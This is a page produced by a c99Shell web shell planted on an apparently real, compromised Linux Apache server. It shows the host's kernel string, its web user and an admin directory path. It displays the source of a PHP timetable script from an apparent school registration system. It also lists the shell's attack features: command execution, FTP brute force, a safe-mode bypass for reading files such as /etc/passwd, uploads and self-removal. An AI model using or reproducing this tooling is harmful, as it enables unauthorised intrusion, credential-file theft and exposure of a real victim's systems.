!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eregis/admin_/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     processCopyTimeTable.php (1.51 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();
include_once 
"../class/clsrg_CopyTimeTable.php";
include_once 
"../class/clsrg_TimeTable.php";

$acadYear = (! isset($_POST['acadYear'])? "" $_POST['acadYear']);
$semester = (! isset($_POST['semester'])? "" $_POST['semester']);

$conn = new Connection();

$oCt1 = new rg_CopyTimeTable();
$oCt2 = new rg_CopyTimeTable();
$oTt = new rg_TimeTable();

set_time_limit(0);

if(
$method=="add"){
    
$oCt1->RSrg_CopyTimeTableByAcYAndSeAndTtIdIsNotNull($acadYear$semester);
    while(
$oCt1->GetRecord()) {
        
$oCt2->SearchByKey($oCt1->ctId);
        
$oCt2->GetRecord();
        
$oCt2->Delete();
    }
    
    
$oTt->RSrg_TimeTableByAcYAndSe($acadYear$semester);
    while(
$oTt->GetRecord()) {
        
$oCt1->AddNew();
        
$oCt1->ctClId=$oTt->ttClId;
        
$oCt1->ctRmId=(is_null($oTt->ttRmId)) ? 'NULL' $oTt->ttRmId;
        
$oCt1->ctEpMepId=(is_null($oTt->ttEpMepId)) ? 'NULL' $oTt->ttEpMepId;
        
$oCt1->ctEpSepId=(is_null($oTt->ttEpSepId)) ? 'NULL' $oTt->ttEpSepId;
        
$oCt1->ctWdAcYWeekNo=$oTt->ttWdAcYWeekNo;
        
$oCt1->ctDyId=$oTt->ttDyId;
        
$oCt1->ctFrPr=$oTt->ttFrPr;
        
$oCt1->ctToPr=$oTt->ttToPr;
        
$oCt1->ctOfId=$oTt->ttOfId;
        
$oCt1->ctSstId=$oTt->ttSstId;
        
$oCt1->ctTtId=$oTt->ttId;
        
$oCt1->ctLtId='NULL';
        
$oCt1->ctConfirm='N';
        
$oCt1->ctUpdateUserId=$updateUserId;
        
$oCt1->ctUpdateDateTime=date('Y-m-d H:i:s');
        
$oCt1->Save();
    }
}

set_time_limit(30);

$oCt1->Destroy();
$oCt2->Destroy();
$oTt->Destroy();
$conn->Disconnect();

echo 
"<meta http-equiv='refresh' content='0; URL=copyTimeTable.php'>";

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0145 ]--